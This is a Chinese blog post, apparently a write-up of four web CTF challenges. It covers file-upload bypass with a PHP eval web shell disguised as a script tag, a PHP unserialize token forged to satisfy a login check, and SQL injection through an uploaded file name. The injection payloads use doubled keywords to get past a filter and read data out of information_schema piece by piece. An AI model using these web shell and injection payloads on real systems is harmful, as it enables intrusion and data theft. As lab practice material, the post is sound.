当前位置:首页 » 《随便一记》 » 正文

假期水题~_m0_51313985的博客

6 人参与  2022年02月28日 17:23  分类 : 《随便一记》  评论

点击全文阅读


1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功上传拿到上传地址,尝试修改后缀名
在这里插入图片描述
没有阻拦的绕了过去,直接上蚁剑吧
在这里插入图片描述
在这里插入图片描述
翻了一圈没找到flag,找到了数据库数据连接看看
在这里插入图片描述
在这里插入图片描述
不断点击数据库发现了藏着flag的地方
在这里插入图片描述
点击之后没有直接出现flag,而是要执行SQL语句将flag读取出来
在这里插入图片描述

2

在这里插入图片描述
在这里插入图片描述

莫不是签到题,直接传php文件吧
上传之后没有返回路径,看来没有简单到爆炸,一直再找原因,我的bp也没啥变化
没头绪了我去看了一眼wp发现,正常来说传一句话上去会过滤掉<?和php,不知道为啥我这bp没反应
找到了一个伪装成js的一句话绕过

<script language="pHp">@eval($_POST['123'])</script>

成功上传之后,我的bp还是没有返回路径,很是头疼最后我打开了源码发现了路径
在这里插入图片描述
上蚁剑吧
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
结束了

3(这个乱入了)

在这里插入图片描述
在这里插入图片描述
一个登录框,我尝试了万能密码没有成功,就产看源码了,差点少看了最后的地方
在这里插入图片描述
类似账号密码,登录看看
在这里插入图片描述
就这玩意,源码也没看到东西,抓包吧
在这里插入图片描述
这个show: 0很扎眼
改成1会怎么样
在这里插入图片描述
出现了正真的源码,扒下来吧审计

<?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(鈺�碘枴鈥�)鈺傅鈹粹攢鈹� ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?>

然后找到了关键性的地方
在这里插入图片描述
传入token,经过他自己的这个解密方式,再使得user==ichunqiu就能拿到flag

<?php
$i=["user" => "ichunqiu",];
print(base64_encode(gzcompress(serialize($i))));
?>

拿到eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
写入token即可拿到flag,我这出了点小问题没整出来…

4

在这里插入图片描述
在这里插入图片描述
传了个图片上去,抓包也没有路径,只有页面返回的值,猜测应该是文件名的SQL注入,头一次遇见这种也没啥头绪,我选择掏出wp研究一下
先了解一下俩函数

CONV()
      简单的来说这个函数就是用来进行?进制的转换?CONV(N,from_base,to_base)
	  N是要转换的数据,from_base是原进制,to_base是目标进制。
	  如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数
substr()函数返回字符串的一部分。
substr(string,start,length)
string 必需。规定要返回其中一部分的字符串。
start  必需。规定在字符串的何处开始。
       正数 - 在字符串的指定位置开始
       负数 - 在从字符串结尾的指定位置开始
       0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
       正数 - 从 start 参数所在的位置返回
       负数 - 从字符串末端返回

在这里插入图片描述
先注册个号进去
在这里插入图片描述

搞张图改名,开始传
首先将文件名改成如下

a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg 
这里需要双写绕过

substr超过12就会科学计数法,所以分段获取内容
在这里插入图片描述
将返回内容转为16进制后,再16进制转字符串
在这里插入图片描述
在这里插入图片描述
获取的内容应该不全,扩大范围接着找

a' +(selselectect conv(substr(hex(database()),15,12),16,10))+ '.jpg

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
哎,我擦缺了个东西,后面改一下范围

a' +(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg

这样应该就行了,减少篇幅就不重复操作了
这样我们就拿到了数据库的名字web_upload
接着注,下一步注表

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

在这里插入图片描述
在这里插入图片描述
范围再加12

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

在这里插入图片描述
在这里插入图片描述
一看就还没结束,后面应该还有,再加12

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

在这里插入图片描述
在这里插入图片描述
到这应该是结束了拿到了表明hello_flag_is_here
再后面就是注列名和字段内容,方法同上

a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

一次没能全部输出,扩大12接着输出
拿到列名i_am_flag
最后注出字段具体内容

a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

三次才把所有的内容回显出来
拿到flag:!!_@m_Th.e_F!lag
在这里插入图片描述
人麻了,先这样吧,今晚会接触一下AWD到时候看看能不能写点东西
前面的系列文章压榨空闲时间会慢慢发出来
在这里插入图片描述


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/35537.html

字符串  返回  拿到  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1